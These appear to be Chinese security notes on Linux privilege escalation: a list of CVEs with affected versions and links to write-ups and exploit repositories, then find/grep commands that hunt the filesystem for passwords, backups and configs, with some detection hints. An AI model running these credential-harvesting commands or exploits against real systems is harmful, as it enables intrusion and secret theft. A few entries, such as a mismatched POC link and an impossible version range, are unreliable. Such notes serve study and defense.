漏洞影响版本:5.7 <= Linux kernel <= 5.8.14
漏洞介绍及修复建议:http://official.hnyongxu.com:417/mobile/SecurityIncidents/124.html
CVE-2020-8835 eBPF任意读写提权漏洞
漏洞影响版本:5.4.7 <= Linux Kernel < 5.4.x | 5.5.0 <= Linux Kernel
CVE-2019-15666 xfrm UAF 8字节写NULL提权漏洞
漏洞影响版本:Linux Kernel < 5.0.19
漏洞介绍及修复建议:https://www.anquanke.com/post/id/253234
POC/EXP:https://github.com/bsauce/kernel-exploit-factory/blob/main/CVE-2019-15666/exp.c
CVE-2019-14287 sudo权限绕过提权漏洞
漏洞影响版本:sudo < 1.8.28
漏洞介绍及修复建议:https://cloud.tencent.com/developer/article/1553933
CVE-2019-13272 Linux本地内核提权漏洞
漏洞影响版本:Linux Kernel < 5.1.17
漏洞介绍及修复建议:https://cloud.tencent.com/developer/article/1528508
POC/EXP:https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
CVE-2019-7304 Ubuntu Linux权限提升漏洞
漏洞影响版本:Ubuntu 18.10 | Ubuntu 18.04 LTS | Ubuntu 16.04 LTS | Ubuntu 14.04 LTS
漏洞介绍及修复建议:https://cloud.tencent.com/developer/article/1512126
CVE-2018-1000001 Glibc本地提权漏洞
漏洞影响版本:glibc <= 2.26
漏洞介绍及修复建议:https://www.anquanke.com/post/id/205197
POC/EXP:https://github.com/5H311-1NJ3C706/local-root-exploits/tree/master/linux/CVE-2018-1000001
CVE-2018-18955 Linux内核提权漏洞
漏洞影响版本:4.15.x < Linux Kernel < 4.19.2
漏洞介绍及修复建议:https://www.freebuf.com/vuls/197122.html
CVE-2018-17182 Linux 内核VMA-UAF提权漏洞
漏洞影响版本:Linux kernel <= 4.18.8
CVE-2018-5333 kernel exploit空指针引用提权漏洞
漏洞影响版本:Linux kernel <= 4.14.13
漏洞介绍及修复建议:https://blog.csdn.net/panhewu9919/article/details/119153052
POC/EXP:https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c
CVE-2017-1000405 Huge Dirty COW本地提权漏洞
漏洞影响版本:2.6.38 <= Linux kernel <= 4.14
CVE-2017-1000367 Sudo本地提权漏洞
漏洞影响版本:1.8.6p7 <= Sudo <= 1.8.20
漏洞介绍及修复建议:https://help.aliyun.com/document_detail/54251.html
POC/EXP:https://github.com/lexfo/cve-2017-11176/blob/master/cve-2017-11176.c
CVE–2017–1000253 Linux PIE/stack内存破坏本地提权漏洞
漏洞影响版本:CentOS < CentOS 7(1708版本) | Red Hat < Red Hat Enterprise Linux 7(7.4) | CentOS 6.x | Red Hat 7.x
漏洞介绍及修复建议:https://www.anquanke.com/post/id/86939
POC/EXP:暂无
CVE-2017-1000112 UDP报文处理不一致导致堆溢出提权漏洞
漏洞影响版本:**Linux kernel <= 4.12.6
漏洞介绍及修复建议:https://cloud.tencent.com/developer/article/1396155
POC/EXP:https://github.com/ol0273st-s/CVE-2017-1000112-Adpated/blob/master/Exploit.c
CVE-2017-16995 Linux Kernel本地提权漏洞
漏洞影响版本:4.14 <= Linux Kernel <= 4.4
漏洞介绍及修复建议:https://zhuanlan.zhihu.com/p/35247850
CVE-2017-16939 Linux Kernel本地权限提升漏洞
漏洞影响版本:2.6.28 < Linux kernel < 4.14
漏洞介绍及修复建议:https://www.anquanke.com/post/id/87327
POC/EXP:https://github.com/SecWiki/linux-kernel-exploits/tree/master/2017/CVE-2017-16939
CVE-2017-11176 Linux kernel UAF本地权限提升漏洞
漏洞影响版本:Linux kernel < 4.11.9
漏洞介绍及修复建议:https://www.anquanke.com/post/id/247073
POC/EXP:https://github.com/lexfo/cve-2017-11176/blob/master/cve-2017-11176.c
CVE-2017-7308 Linux内核提权漏洞
漏洞影响版本:Linux kernel < 4.10.6
漏洞介绍及修复建议:https://www.77169.net/html/161809.html
CVE-2017-6074 Linux kernel DCCP double-free权限提升漏洞
漏洞影响版本:Linux kernel > 2.6.18
漏洞介绍及修复建议:https://www.anquanke.com/post/id/253478
CVE-2017-5123 null任意地址写权限提升漏洞
CVE-2016-9793 本地提权漏洞
漏洞影响版本:3.11 <= Linux kernel <= 4.8.13
漏洞介绍及修复建议:http://cn-sec.com/archives/278454.html
........
五、敏感信息利用
通过.bash_history搜集明文登录类的服务
通过其他其他自动化脚本进行代码审计获取用户密码
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
通过以上命令,指定关键字,在所有文件中搜索内容中有关键字的文件。
find / -type d -readable -user $(whoami) 2>/dev/null
查找十分钟内更改过的文件,可以收集活跃的服务和内容
find / -mmin -10 2>/dev/null | grep -Ev "^/proc" (不显示^/proc文件或文件夹)
目标主机可能存在备份文件或其他网站服务的配置文件
.conf
.config
.xml
.bak
backup*
.ini
.....
思路:重点检测信息收集命令find/grep等
...
2.用户所属组存在敏感文件访问/写入权限
ADM组在Linux中用于系统监控任务,组内的用户可以读取/var/log
的日志文件。
主要用来收集存储在日志文件中的敏感数据或枚举用户操作
3.信息收集检测
思路: 一般来说从web打进来或者getshell后,用户大多数为www-data、httpd、apache、daemon这些进程nologin用户,假设系统权限不存在提权漏洞,有可能提权失败。但是信息收集的命令依旧存在,且为有效攻击。
Windows提权
mysql mof提权